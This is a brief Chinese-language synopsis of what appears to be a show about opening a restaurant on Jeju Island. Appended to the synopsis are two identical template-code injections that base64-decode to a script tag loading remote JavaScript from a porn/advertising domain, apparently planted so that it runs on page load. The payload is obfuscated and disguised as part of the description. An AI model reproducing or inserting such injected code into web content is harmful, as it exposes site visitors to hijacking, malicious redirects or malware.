简介：内容主要以开设餐厅的心路历程与过程中的大小故事为主；餐厅开设于济州岛，主轴主打‘老板吃得更多’的餐厅。{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.
